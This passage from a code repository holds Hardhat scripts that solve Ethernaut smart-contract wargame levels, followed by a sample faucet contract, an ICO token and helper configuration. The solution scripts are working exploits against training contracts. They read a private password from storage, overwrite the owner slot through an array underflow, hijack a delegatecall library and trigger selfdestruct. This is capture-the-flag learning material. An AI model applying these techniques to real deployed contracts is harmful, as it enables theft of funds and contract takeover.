from 'hardhat' 3 | import { Elevator } from '../typechain-types/Elevator' 4 | import { ElevatorAttack } from '../typechain-types/ElevatorAttack' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0xaB4F3F2644060b2D960b0d88F0a42d1D27484687' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Elevator', levelAddress, signer)) as Elevator 14 | const attackContract = (await loadOrDeployContract('ElevatorAttack', [], signer)) as ElevatorAttack 15 | 16 | console.log('Is on last floor?: ', await targetContract.top()) 17 | 18 | const attackTx = await attackContract.attack(targetContract.address) 19 | console.log('Attack tx id: ', attackTx.hash) 20 | await attackTx.wait() 21 | 22 | console.log('Is on last floor?: ', await targetContract.top()) 23 | 24 | await submitLevelInstance(targetContract.address, signer) 25 | } 26 | 27 | main() 28 | .then(() => process.exit()) 29 | .catch(e => { 30 | console.error(e) 31 | process.exit(1) 32 | }) 33 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/12_privacy.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Elevator } from '../typechain-types/Elevator' 4 | import { ElevatorAttack } from '../typechain-types/ElevatorAttack' 5 | import { Privacy } from '../typechain-types/Privacy' 6 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 7 | import { loadOrDeployContract } from './helpers' 8 | 9 | const levelAddress = '0x11343d543778213221516D004ED82C45C3c8788B' 10 | 11 | const main = async () => { 12 | const signer = (await ethers.getSigners())[0] as Signer 13 | 14 | const targetContract = (await loadOrCreateLevelInstance('Privacy', levelAddress, signer)) as Privacy 15 | 16 | const data = await ethers.provider.getStorageAt(targetContract.address, 5) 17 | const array = ethers.utils.arrayify(data) 18 | console.log({ data }) 19 | console.log({ array }) 20 | 21 | const password = ethers.utils.hexlify(array.slice(0, 16)) 22 | 23 | console.log({ password }) 24 | 25 | const attackTx = await targetContract.unlock(password) 26 | 27 | console.log('Attack tx hash', attackTx.hash) 28 | await attackTx.wait() 29 | 30 | await submitLevelInstance(targetContract.address, signer) 31 | } 32 | 33 | main() 34 | .then(() => process.exit()) 35 | .catch(e => { 36 | console.error(e) 37 | process.exit(1) 38 | }) 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/13_gatekeeper_one.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { GatekeeperOne, GatekeeperOneAttack } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | import { loadOrDeployContract, deployContract } from './helpers' 6 | 7 | const levelAddress = '0x9b261b23cE149422DE75907C6ac0C30cEc4e652A' 8 | 9 | const main = async () => { 10 | const signer = (await ethers.getSigners())[0] as Signer 11 | 12 | console.log(signer.getAddress()) 13 | 14 | const targetContract = (await loadOrCreateLevelInstance('GatekeeperOne', levelAddress, signer)) as GatekeeperOne 15 | const attackContract = (await deployContract( 16 | 'GatekeeperOneAttack', 17 | [targetContract.address], 18 | signer, 19 | )) as GatekeeperOneAttack 20 | 21 | let gas = 245984 22 | 23 | const address = await signer.getAddress() 24 | let key = ethers.utils.hexDataSlice(address, ethers.utils.hexDataLength(address) - 2) 25 | console.log({ key }) 26 | key = ethers.utils.hexConcat(['0x110000000000', key]) 27 | console.log({ key }) 28 | 29 | const attackTxn = await attackContract.attack(key, gas, { gasLimit: 500000 }) 30 | await attackTxn.wait() 31 | 32 | const entrant = await targetContract.entrant() 33 | 34 | console.log({ entrant }) 35 | 36 | await submitLevelInstance(targetContract.address, signer) 37 | } 38 | 39 | main() 40 | .then(() => process.exit()) 41 | .catch(e => { 42 | console.error(e) 43 | process.exit(1) 44 | }) 45 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/14_gatekeeper_two.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { GatekeeperTwo, GatekeeperTwoAttack } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | import { loadOrDeployContract, deployContract } from './helpers' 6 | 7 | const levelAddress = '0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d' 8 | 9 | const main = async () => { 10 | const signer = (await ethers.getSigners())[0] as Signer 11 | 12 | const targetContract = (await loadOrCreateLevelInstance('GatekeeperTwo', levelAddress, signer)) as GatekeeperTwo 13 | 14 | const attackContract = (await deployContract( 15 | 'GatekeeperTwoAttack', 16 | [targetContract.address], 17 | signer, 18 | )) as GatekeeperTwoAttack 19 | 20 | const entrant = await targetContract.entrant() 21 | 22 | console.log({ entrant }) 23 | 24 | await submitLevelInstance(targetContract.address, signer) 25 | } 26 | 27 | main() 28 | .then(() => process.exit()) 29 | .catch(e => { 30 | console.error(e) 31 | process.exit(1) 32 | }) 33 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/15_naught_coin.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { GatekeeperTwo, GatekeeperTwoAttack, NaughtCoin } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | import { loadOrDeployContract, deployContract } from './helpers' 6 | 7 | const levelAddress = '0x096bb5e93a204BfD701502EB6EF266a950217218' 8 | 9 | const main = async () => { 10 | const signer = (await ethers.getSigners())[0] as Signer 11 | 12 | const targetContract = (await loadOrCreateLevelInstance('NaughtCoin', levelAddress, signer)) as NaughtCoin 13 | 14 | // approve 15 | const approveTx = await targetContract.approve(await signer.getAddress(), await targetContract.totalSupply()) 16 | 17 | console.log(`approve tx ${approveTx.hash}`) 18 | 19 | await approveTx.wait() 20 | 21 | // transfer 22 | const transferTx = await targetContract.transferFrom( 23 | await signer.getAddress(), 24 | targetContract.address, 25 | await targetContract.totalSupply(), 26 | ) 27 | 28 | console.log(`transfer tx ${transferTx.hash}`) 29 | 30 | await transferTx.wait() 31 | 32 | await submitLevelInstance(targetContract.address, signer) 33 | } 34 | 35 | main() 36 | .then(() => process.exit()) 37 | .catch(e => { 38 | console.error(e) 39 | process.exit(1) 40 | }) 41 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/16_preservation.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Preservation } from '../typechain-types/Preservation' 4 | import { PreservationAttack } from '../typechain-types/PreservationAttack' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Preservation', levelAddress, signer)) as Preservation 14 | const attackContract = (await loadOrDeployContract( 15 | 'PreservationAttack', 16 | [targetContract.address], 17 | signer, 18 | )) as PreservationAttack 19 | 20 | console.log(`Owner: ${await targetContract.owner()}`) 21 | console.log(`Library: ${await targetContract.timeZone1Library()}`) 22 | 23 | const attackTx = await attackContract.attack({ gasLimit: 300000 }) 24 | console.log('Attack tx id: ', attackTx.hash) 25 | await attackTx.wait() 26 | 27 | console.log(`Owner: ${await targetContract.owner()}`) 28 | console.log(`Library: ${await targetContract.timeZone1Library()}`) 29 | 30 | await submitLevelInstance(targetContract.address, signer) 31 | } 32 | 33 | main() 34 | .then(() => process.exit()) 35 | .catch(e => { 36 | console.error(e) 37 | process.exit(1) 38 | }) 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/17_recovery.ts: -------------------------------------------------------------------------------- 1 | import { Signer, Contract } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { SimpleToken, SimpleToken__factory } from '../typechain-types' 4 | import { Recovery } from '../typechain-types/Recovery' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Recovery', levelAddress, signer, { 14 | gasLimit: 3000000, 15 | value: ethers.utils.parseEther('0.001'), 16 | })) as Recovery 17 | 18 | const tokenAddress = ethers.utils.hexDataSlice( 19 | ethers.utils.keccak256(ethers.utils.RLP.encode([targetContract.address, '0x01'])), 20 | 12, 21 | 32, 22 | ) 23 | 24 | const tokenContract = new SimpleToken__factory().attach(tokenAddress).connect(signer) 25 | 26 | const tx = await tokenContract.destroy(await signer.getAddress()) 27 | console.log(`tx hash ${tx.hash}`) 28 | await tx.wait() 29 | 30 | await submitLevelInstance(targetContract.address, signer) 31 | } 32 | 33 | main() 34 | .then(() => process.exit()) 35 | .catch(e => { 36 | console.error(e) 37 | process.exit(1) 38 | }) 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/18_magic_number.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { MagicNumber } from '../typechain-types' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | 6 | const levelAddress = '0x200d3d9Ac7bFd556057224e7aEB4161fED5608D0' 7 | 8 | const main = async () => { 9 | const signer = (await ethers.getSigners())[0] as Signer 10 | 11 | const targetContract = (await loadOrCreateLevelInstance('MagicNumber', levelAddress, signer, {})) as MagicNumber 12 | 13 | const runtimeCode = [ 14 | '0x', 15 | '60 2a', // PUSH1 0x2a (42) 16 | '60 00', // PUSH1 00 (memory position to store the 42) 17 | '52', // MSTORE 18 | '60 20', // PUSH1 20 (memory size) 19 | '60 00', // PUSH1 00 (memory offset) 20 | 'F3', // RETURN 21 | ].join('').replace(/\s+/g,'') 22 | 23 | console.log({runtimeCode}) 24 | 25 | const initcode = ethers.utils.hexConcat([ 26 | [ 27 | '0x', 28 | '60 0a', // PUSH1 0x0a (code length) 29 | '80', // DUP1 30 | '61 000c', // PUSH2 0x000c (start position of code) 31 | '60 00', // PUSH1 0x00 32 | '39', // CODECOPY 33 | '60 00', // PUSH1 0x00 34 | 'f3', // RETURN 35 | ].join('').replace(/\s+/g,''), 36 | runtimeCode, 37 | ]) 38 | 39 | console.log({initcode}) 40 | 41 | 42 | const abi = [ 43 | "function whatIsTheMeaningOfLife() pure returns (uint)" 44 | ]; 45 | const factory = new ethers.ContractFactory(abi, initcode, signer) 46 | 47 | const solver = await factory.deploy() 48 | console.log(`Solver address: ${solver.address}`) 49 | 50 | const setSolverTx = await targetContract.setSolver(solver.address) 51 | console.log('set solver tx hash: ', setSolverTx.hash) 52 | await setSolverTx.wait() 53 | 54 | await submitLevelInstance(targetContract.address, signer) 55 | } 56 | 57 | main() 58 | .then(() => process.exit()) 59 | .catch(e => { 60 | console.error(e) 61 | process.exit(1) 62 | }) 63 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/19_alien_codex.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { AlienCodex } from '../typechain-types/AlienCodex' 4 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 5 | 6 | const levelAddress = '0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272' 7 | 8 | const main = async () => { 9 | const signer = (await ethers.getSigners())[0] as Signer 10 | 11 | const targetContract = (await loadOrCreateLevelInstance('AlienCodex', levelAddress, signer)) as AlienCodex 12 | 13 | // Trivial call 14 | await (await targetContract.make_contact()).wait() 15 | 16 | // Underflow array length 17 | await (await targetContract.retract()).wait() 18 | 19 | // Calculate position of first element 20 | const arrayStartPosition = ethers.BigNumber.from(ethers.utils.keccak256(ethers.utils.zeroPad('0x01', 32))) 21 | 22 | // Calculate how much to add to overflow and overwrite first storage slot (owner) 23 | const difference = ethers.constants.MaxUint256.sub(arrayStartPosition).add(1) 24 | 25 | // Overwrite owner slot 26 | const tx = await targetContract.revise(difference, ethers.utils.zeroPad(await signer.getAddress(), 32)) 27 | console.log('tx hash', tx.hash) 28 | await tx.wait() 29 | 30 | await submitLevelInstance(targetContract.address, signer) 31 | } 32 | 33 | main() 34 | .then(() => process.exit()) 35 | .catch(e => { 36 | console.error(e) 37 | process.exit(1) 38 | }) 39 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/20_denial.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Denial } from '../typechain-types/Denial' 4 | import { DenialAttack } from '../typechain-types/DenialAttack' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0xf1D573178225513eDAA795bE9206f7E311EeDEc3' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Denial', levelAddress, signer, { 14 | value: ethers.utils.parseEther('0.001'), 15 | })) as Denial 16 | const attackContract = (await loadOrDeployContract('DenialAttack', [], signer)) as DenialAttack 17 | 18 | const tx = await targetContract.setWithdrawPartner(attackContract.address) 19 | console.log(`tx hash ${tx.hash}`) 20 | await tx.wait() 21 | 22 | await submitLevelInstance(targetContract.address, signer) 23 | } 24 | 25 | main() 26 | .then(() => process.exit()) 27 | .catch(e => { 28 | console.error(e) 29 | process.exit(1) 30 | }) 31 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/21_shop.ts: -------------------------------------------------------------------------------- 1 | import { Signer } from 'ethers' 2 | import { ethers } from 'hardhat' 3 | import { Shop } from '../typechain-types/Shop' 4 | import { ShopAttack } from '../typechain-types/ShopAttack' 5 | import { loadOrCreateLevelInstance, submitLevelInstance } from './ethernaut' 6 | import { loadOrDeployContract } from './helpers' 7 | 8 | const levelAddress = '0x3aCd4766f1769940cA010a907b3C8dEbCe0bd4aB' 9 | 10 | const main = async () => { 11 | const signer = (await ethers.getSigners())[0] as Signer 12 | 13 | const targetContract = (await loadOrCreateLevelInstance('Shop', levelAddress, signer)) as Shop 14 | const attackContract = (await loadOrDeployContract('ShopAttack', [targetContract.address], signer)) as ShopAttack 15 | 16 | const tx = await attackContract.buy({ gasLimit: 100000 }) 17 | console.log(`tx hash ${tx.hash}`) 18 | await tx.wait() 19 | 20 | await submitLevelInstance(targetContract.address, signer) 21 | } 22 | 23 | main() 24 | .then(() => process.exit()) 25 | .catch(e => { 26 | console.error(e) 27 | process.exit(1) 28 | }) 29 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/ethernaut.ts: -------------------------------------------------------------------------------- 1 | import { Contract, Signer, PayableOverrides } from 'ethers' 2 | import fs from 'fs' 3 | import { ethers } from 'hardhat' 4 | import _ from 'lodash' 5 | 6 | const ethernautAddress = '0xD991431D8b033ddCb84dAD257f4821E9d5b38C33' 7 | const ethernautABI = JSON.parse(fs.readFileSync('abis/ethernaut.json').toString()) 8 | 9 | export const getEthernautContract = (signer: Signer) => { 10 | return new ethers.Contract(ethernautAddress, ethernautABI, signer as any) 11 | } 12 | 13 | export const createLevelInstance = async ( 14 | name: string, 15 | levelAddress: string, 16 | signer: Signer, 17 | overrides: PayableOverrides = {}, 18 | ): Promise => { 19 | console.log(`Creating level instance for level address ${levelAddress} (${name})`) 20 | const txResponse = await getEthernautContract(signer).createLevelInstance(levelAddress, overrides) 21 | console.log('Create level instance Tx ID:', txResponse.hash) 22 | 23 | const txReceipt = await txResponse.wait() 24 | console.log('Tx mined!') 25 | const instanceAddress = ethers.utils.hexZeroPad(ethers.utils.hexStripZeros(_.last(txReceipt.logs as any[]).data), 20) 26 | console.log('Level instance address', instanceAddress) 27 | 28 | return (await ethers.getContractFactory(name, signer)).attach(instanceAddress) 29 | } 30 | 31 | export const loadOrCreateLevelInstance = async ( 32 | name: string, 33 | levelAddress: string, 34 | signer: Signer, 35 | overrides: PayableOverrides = {}, 36 | ): Promise => { 37 | const fileName = `/tmp/address_level_${name}` 38 | try { 39 | const instanceAddress = fs.readFileSync(fileName).toString() 40 | console.log(`Using cached level instance ${name}:${instanceAddress} from ${fileName}`) 41 | return (await ethers.getContractFactory(name, signer)).attach(instanceAddress) 42 | } catch (error) { 43 | const contract = await createLevelInstance(name, levelAddress, signer, overrides) 44 | fs.writeFileSync(fileName, contract.address) 45 | return contract 46 | } 47 | } 48 | 49 | export const submitLevelInstance = async (instanceAddress: string, signer: Signer): Promise => { 50 | const submitTx = await getEthernautContract(signer).submitLevelInstance(instanceAddress, { gasLimit: 2000000 }) 51 | console.log(`Submitted level instance address ${instanceAddress}. Tx ID: ${submitTx.hash}`) 52 | const receipt = await submitTx.wait() 53 | if (receipt.logs.length) { 54 | console.log('Submission ACCEPTED :)') 55 | return true 56 | } else { 57 | console.log('Submission REJECTED :(') 58 | return false 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /ethernaut_challenges/scripts/helpers.ts: -------------------------------------------------------------------------------- 1 | import { Contract, Signer } from 'ethers' 2 | import fs from 'fs' 3 | import { ethers } from 'hardhat' 4 | 5 | export const deployContract = async ( 6 | contractName: string, 7 | args: any[], 8 | signer?: Signer, 9 | ): Promise => { 10 | console.log(`Deploying contract ${contractName} with args ${JSON.stringify(args)}`) 11 | const contract = (await (await ethers.getContractFactory(contractName, signer)).deploy(...args)) as ContractType 12 | console.log(`Deployed at address ${contract.address}`) 13 | return contract 14 | } 15 | 16 | export const loadOrDeployContract = async (name: string, args: any[], signer: Signer): Promise => { 17 | const fileName = `/tmp/address_${name}` 18 | try { 19 | const instanceAddress = fs.readFileSync(fileName).toString() 20 | console.log(`Using cached contract instance ${name}:${instanceAddress} from ${fileName}`) 21 | return (await ethers.getContractFactory(name, signer)).attach(instanceAddress) 22 | } catch (error) { 23 | const contract = await deployContract(name, args, signer) 24 | fs.writeFileSync(fileName, contract.address) 25 | return contract 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /ethernaut_challenges/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "ES2017", 4 | "module": "commonjs", 5 | "declaration": true, 6 | "declarationMap": true, 7 | "sourceMap": true, 8 | "outDir": "./dist", 9 | "strict": true, 10 | "rootDirs": ["./src", "./scripts", "./test"], 11 | "esModuleInterop": true 12 | }, 13 | "exclude": ["dist", "node_modules"], 14 | "include": ["./test", "./src", "./scripts", "./typechain-types"], 15 | "files": ["./hardhat.config.ts"] 16 | } -------------------------------------------------------------------------------- /faucet/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /faucet/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | -------------------------------------------------------------------------------- /faucet/README.md: -------------------------------------------------------------------------------- 1 | # Basic Sample Hardhat Project 2 | 3 | This project demonstrates a basic Hardhat use case. It comes with a sample contract, a test for that contract, a sample script that deploys that contract, and an example of a task implementation, which simply lists the available accounts. 4 | 5 | Try running some of the following tasks: 6 | 7 | ```shell 8 | npx hardhat accounts 9 | npx hardhat compile 10 | npx hardhat clean 11 | npx hardhat test 12 | npx hardhat node 13 | node scripts/sample-script.js 14 | npx hardhat help 15 | ``` 16 | -------------------------------------------------------------------------------- /faucet/contracts/Faucet.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.7; 2 | 3 | contract owned { 4 | address public owner; 5 | 6 | constructor() { 7 | owner = msg.sender; 8 | } 9 | 10 | modifier onlyOwner() { 11 | require(msg.sender == owner, "Only owner can perform this action"); 12 | _; 13 | } 14 | } 15 | 16 | contract mortal is owned { 17 | function kill() public onlyOwner { 18 | selfdestruct(payable(owner)); 19 | } 20 | } 21 | 22 | contract receiver { 23 | event Deposit(address indexed from, uint256 amount); 24 | 25 | receive() external payable { 26 | emit Deposit(msg.sender, msg.value); 27 | } 28 | } 29 | 30 | contract Faucet is mortal, receiver { 31 | event Withdrawal(address indexed to, uint256 amount); 32 | 33 | function withdraw(uint256 amt) public { 34 | require(amt <= 0.1 ether, "can only withdraw less than 0.1"); 35 | payable(msg.sender).transfer(amt); 36 | emit Withdrawal(msg.sender, amt); 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /faucet/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | 4 | import dotenv from 'dotenv' 5 | dotenv.config() 6 | 7 | // This is a sample Hardhat task. To learn how to create your own go to 8 | // https://hardhat.org/guides/create-task.html 9 | task("accounts", "Prints the list of accounts", async (args, hre) => { 10 | const accounts = await hre.ethers.getSigners(); 11 | 12 | for (const account of accounts) { 13 | console.log(await account.address); 14 | } 15 | }); 16 | 17 | // You need to export an object to set up your config 18 | // Go to https://hardhat.org/config/ to learn more 19 | 20 | export default { 21 | solidity: "0.8.7", 22 | networks: { 23 | ropsten: { 24 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 25 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 26 | }, 27 | }, 28 | }; 29 | -------------------------------------------------------------------------------- /faucet/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "@nomiclabs/hardhat-ethers": "^2.0.2", 5 | "@nomiclabs/hardhat-waffle": "^2.0.1", 6 | "@types/chai": "^4.2.21", 7 | "@types/mocha": "^9.0.0", 8 | "@types/node": "^16.7.1", 9 | "chai": "^4.3.4", 10 | "dotenv": "^10.0.0", 11 | "ethereum-waffle": "^3.4.0", 12 | "ethers": "^5.4.5", 13 | "hardhat": "^2.6.1", 14 | "ts-node": "^10.2.1", 15 | "typescript": "^4.3.5" 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /faucet/scripts/faucet_deploy.js: -------------------------------------------------------------------------------- 1 | const hre = require("hardhat"); 2 | 3 | async function main() { 4 | const [deployer] = await ethers.getSigners(); 5 | 6 | console.log("Deploying contracts with the account:", deployer.address); 7 | 8 | console.log("Account balance:", (await deployer.getBalance()).toString()); 9 | 10 | const Faucet = await ethers.getContractFactory("Faucet"); 11 | const faucet = await Faucet.deploy(); 12 | 13 | console.log("Faucet address:", faucet.address); 14 | } 15 | 16 | main() 17 | .then(() => process.exit(0)) 18 | .catch((error) => { 19 | console.error(error); 20 | process.exit(1); 21 | }); 22 | -------------------------------------------------------------------------------- /faucet/scripts/faucet_deposit.ts: -------------------------------------------------------------------------------- 1 | import { TransactionResponse } from '@ethersproject/abstract-provider'; 2 | import { providers, Signer } from 'ethers'; 3 | import {ethers} from 'hardhat' 4 | 5 | const contractAddress = '0x252ccddA5cb868f5fB69120985b332c11dB15bE7'; 6 | 7 | async function main() { 8 | const [account] = await ethers.getSigners(); 9 | 10 | const tx = await account.sendTransaction({to: contractAddress, value: ethers.utils.parseEther('0.01')}) 11 | console.log('Transaction sent') 12 | 13 | const receipt = await tx.wait() as any 14 | console.log('Transaction confirmed') 15 | } 16 | 17 | main() 18 | .then(() => process.exit(0)) 19 | .catch((error) => { 20 | console.error(error); 21 | process.exit(1); 22 | }); 23 | -------------------------------------------------------------------------------- /faucet/scripts/faucet_withdraw.ts: -------------------------------------------------------------------------------- 1 | import { TransactionResponse } from '@ethersproject/abstract-provider'; 2 | import { providers, Signer } from 'ethers'; 3 | import {ethers} from 'hardhat' 4 | 5 | const contractAddress = '0x252ccddA5cb868f5fB69120985b332c11dB15bE7'; 6 | 7 | async function main() { 8 | const factory = await ethers.getContractFactory('Faucet') 9 | const contract = factory.attach(contractAddress) 10 | 11 | const tx = await contract.withdraw(ethers.utils.parseEther('0.01')) as TransactionResponse 12 | console.log('Transaction sent') 13 | 14 | const receipt = await tx.wait() as any 15 | console.log('Transaction confirmed') 16 | } 17 | 18 | main() 19 | .then(() => process.exit(0)) 20 | .catch((error) => { 21 | console.error(error); 22 | process.exit(1); 23 | }); 24 | -------------------------------------------------------------------------------- /faucet/tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "target": "es2018", 4 | "module": "commonjs", 5 | "strict": true, 6 | "esModuleInterop": true, 7 | "outDir": "dist" 8 | }, 9 | "include": ["./scripts", "./test"], 10 | "files": ["./hardhat.config.ts"] 11 | } 12 | -------------------------------------------------------------------------------- /ico/.env.example: -------------------------------------------------------------------------------- 1 | ALCHEMY_API_KEY= 2 | ROPSTEN_PRIVATE_KEY= -------------------------------------------------------------------------------- /ico/.gitignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | .env 3 | 4 | #Hardhat files 5 | cache 6 | artifacts 7 | dist -------------------------------------------------------------------------------- /ico/.prettierrc: -------------------------------------------------------------------------------- 1 | { 2 | "overrides": [ 3 | { 4 | "files": "*.sol", 5 | "options": { 6 | "printWidth": 120, 7 | "tabWidth": 2, 8 | "useTabs": false, 9 | "singleQuote": false, 10 | "bracketSpacing": false, 11 | "explicitTypes": "always", 12 | "semi": true 13 | } 14 | } 15 | ] 16 | } -------------------------------------------------------------------------------- /ico/contracts/Token.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0 2 | 3 | // ICO Token 4 | 5 | pragma solidity ^0.8.7; 6 | 7 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 8 | import "@openzeppelin/contracts/access/Ownable.sol"; 9 | 10 | contract Token is ERC20('Terra Vision', 'TVI'), Ownable { 11 | uint tradeableAfterBlock; 12 | 13 | constructor(uint _tradeableAfterBlock){ 14 | tradeableAfterBlock = _tradeableAfterBlock; 15 | } 16 | 17 | function mint(address account, uint amount) public onlyOwner { 18 | _mint(account, amount); 19 | } 20 | 21 | function _transfer(address sender, address recipient, uint amount) internal override { 22 | require(block.number >= tradeableAfterBlock, "Token is not tradeable yet"); 23 | ERC20._transfer(sender, recipient, amount); 24 | } 25 | 26 | function setTradeableAfterBlock(uint _tradeableAfterBlock) public onlyOwner { 27 | tradeableAfterBlock = _tradeableAfterBlock; 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /ico/hardhat.config.ts: -------------------------------------------------------------------------------- 1 | import { task } from "hardhat/config"; 2 | import "@nomiclabs/hardhat-waffle"; 3 | import "hardhat-gas-reporter" 4 | import "hardhat-tracer" 5 | import "@atixlabs/hardhat-time-n-mine" 6 | import "@atixlabs/hardhat-time-n-mine/dist/src/type-extensions"; 7 | 8 | import dotenv from 'dotenv' 9 | dotenv.config() 10 | 11 | // This is a sample Hardhat task. To learn how to create your own go to 12 | // https://hardhat.org/guides/create-task.html 13 | task("accounts", "Prints the list of accounts", async (args, hre) => { 14 | const accounts = await hre.ethers.getSigners(); 15 | 16 | for (const account of accounts) { 17 | console.log(await account.address); 18 | } 19 | }); 20 | 21 | // You need to export an object to set up your config 22 | // Go to https://hardhat.org/config/ to learn more 23 | 24 | export default { 25 | solidity: { 26 | version: '0.8.7', 27 | settings: { 28 | outputSelection: { 29 | "*": { 30 | "*": ["storageLayout"], 31 | }, 32 | }, 33 | } 34 | }, 35 | networks: { 36 | ropsten: { 37 | url: `https://eth-ropsten.alchemyapi.io/v2/${process.env.ALCHEMY_API_KEY}`, 38 | accounts: [`0x${process.env.ROPSTEN_PRIVATE_KEY}`], 39 | }, 40 | }, 41 | }; 42 | -------------------------------------------------------------------------------- /ico/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "hardhat-project", 3 | "devDependencies": { 4 | "solc": "0.8.7", 5 | "@nomiclabs/hardhat-ethers": "^2.0.2", 6 | "@nomiclabs/hardhat-waffle": "^2.0.1", 7 | "@types/chai": "^4.2.21", 8 | "@types/mocha": "^9.0.0", 9 | "@types/node": "^16.7.1", 10 | "chai": "^4.3.4", 11 | "dotenv": "^10.0.0", 12 | "ethereum-waffle": "^3.4.0", 13 | "ethers": "^5.4.5", 14 | "hardhat": "=2.6.4", 15 | "hardhat-gas-reporter": "^1.0.4", 16 | "prettier": "^2.4.1", 17 | "prettier-plugin-solidity": "^1.0.0-beta.18", 18 | "ts-node": "^10.2.1", 19 | "typescript": "^4.3.5" 20 | }, 21 | "dependencies": { 22 | "@atixlabs/hardhat-time-n-mine": "^0.0.5", 23 | "@defi-wonderland/smock": "^2.0.7", 24 | "@openzeppelin/contracts": "^4.3.1", 25 | "hardhat-tracer": "^1.0.0-alpha.6", 26 | "openzeppelin-solidity": "^4.3.1" 27 | }, 28 | "scripts": { 29 | "test": "nodemon -e ts,sol --exec hh test" 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /ico/test/utils/network.ts: -------------------------------------------------------------------------------- 1 | import { ContractTransaction } from "@ethersproject/contracts"; 2 | import { ethers } from "hardhat"; 3 | 4 | export const takeSnapshot = async (): Promise => { 5 | const result = await send("evm_snapshot"); 6 | await mineBlock(); 7 | return result; 8 | }; 9 | 10 | export const restoreSnapshot = async (id: number) => { 11 | await send("evm_revert", [id]); 12 | await mineBlock(); 13 | }; 14 | 15 | export const mineBlock = () => { 16 | return send("evm_mine", []); 17 | }; 18 | 19 | export const mineBlocks = async (count: number) => { 20 | for(let i = 0; i) => { 26 | return ethers.provider.send(method, params === undefined ? [] : params); 27 | }; 28 | 29 | export const waitForTx = async (tx: ContractTransaction) => await tx.wait(); 30 | 31 | export const advanceTime = async (seconds: number) => { 32 | await send("evm_increaseTime", [seconds]); 33 | await mineBlock(); 34 | }; 35 | 36 | export const latestBlock = async () => 